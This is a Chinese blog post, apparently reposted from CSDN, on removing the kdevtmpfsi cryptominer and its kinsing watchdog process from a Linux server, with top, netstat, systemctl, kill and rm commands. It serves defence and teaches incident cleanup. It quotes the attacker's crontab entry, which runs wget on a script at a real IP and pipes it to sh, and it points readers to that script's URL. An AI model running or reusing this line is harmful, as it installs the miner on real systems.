处理处理kdevtmpfsi挖矿病毒以及他的守护进程kinsing

服务器CPU资源占用一直处于100%的状态，检查发现是kdevtmpfsi占用导致的，此进程为挖矿程序。

处理步骤如下：

kdevtmpfsi 进程处理：

1、# top

查看cpu占用情况，找到占用cpu的进程 最后是 kdevtmpfsi

2、# netstat -natp

根据上面的进程名查看与内网的 tcp 链接异常 ，看到陌生ip，查出为国外ip,估计主机被人种后门了

此时，挖矿脚本大概率定时在你的crontab里面。

crontab -l ，发现异常定时任务，* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1

有兴趣可以研究这个sh脚本 http://195.3.146.118/unk.sh

3、解决方法

kdevtmpfsi有守护进程，单独kill掉 kdevtmpfsi 进程会不断恢复占用。守护进程名称为 kinsing，需要kill后才能解决问题。

#查询关联的守护进程

[root@iZwz97v9b9ili0mz7rl188Z overlay2]# systemctl status 2854

● session-5649.scope - Session 5649 of user root

Loaded: loaded (/run/systemd/system/session-5649.scope; static; vendor preset: disabled)

Drop-In: /run/systemd/system/session-5649.scope.d

└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-

Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf

Active: active (abandoned) since 一 2019-12-23 10:41:33 CST; 2 days ago

CGroup: /user.slice/user-0.slice/session-5649.scope

├─ 2854 /tmp/kdevtmpfsi

└─18534 ./kinsing1oZIY4Aid7

具体命令：

systemctl status 23437

ps -aux | grep kinsing

ps -aux | grep kdevtmpfsi

kill -9 23437

kill -9 18534

cd /tmp

ls

rm -rf kdevtmpfsi

rm -rf /var/tmp/kinsing 记得这个守护进程的文件也要删掉，找不到的话，也可以用这个命令

find / -name kdevtmpfsi

find / -name kinsing

本文参考：https://blog.csdn.net/u014589116/article/details/103705690
(https://blog.csdn.net/u014589116/article/details/103705690)

本文链接：https://blog.csdn.net/Owen_goodman/article/details/103731981

(https://blog.csdn.net/Owen_goodman/article/details/103731981)

相关文章

处理kdevtmpfsi挖矿病毒 (/article/5101835631/;jsessionid=54F0834ACFF9938AB6B421EDE13AE6E7)

记录一次处理 kdevtmpfsi 挖矿病毒 (/article/2707846483/;jsessionid=54F0834ACFF9938AB6B421EDE13AE6E7)

驱动挖矿病毒PuMiner简单分析与处理方案 (/article/9675652176/;jsessionid=54F0834ACFF9938AB6B421EDE13AE6E7)

一次挖矿病毒处理过程 (/article/2739771688/;jsessionid=54F0834ACFF9938AB6B421EDE13AE6E7)

kdevtmpfsi挖矿病毒导致服务器cpu高负荷运行 (/article/7879832280/;jsessionid=54F0834ACFF9938AB6B421EDE13AE6E7)

【服务器】挖矿病毒 kdevtmpfsi（一针见效） (/article/5269867643/;jsessionid=54F0834ACFF9938AB6B421EDE13AE6E7)

Centos系统简单的病毒处理 (/article/4885647153/;jsessionid=54F0834ACFF9938AB6B421EDE13AE6E7)

linux 服务器被植入ddgs、qW3xT.2挖矿病毒处理记录 (/article/3954543964/;jsessionid=54F0834ACFF9938AB6B421EDE13AE6E7)

linux守护进程的编写 (/article/549738808/;jsessionid=54F0834ACFF9938AB6B421EDE13AE6E7)

linux下的守护进程 (/article/5603592821/;jsessionid=54F0834ACFF9938AB6B421EDE13AE6E7)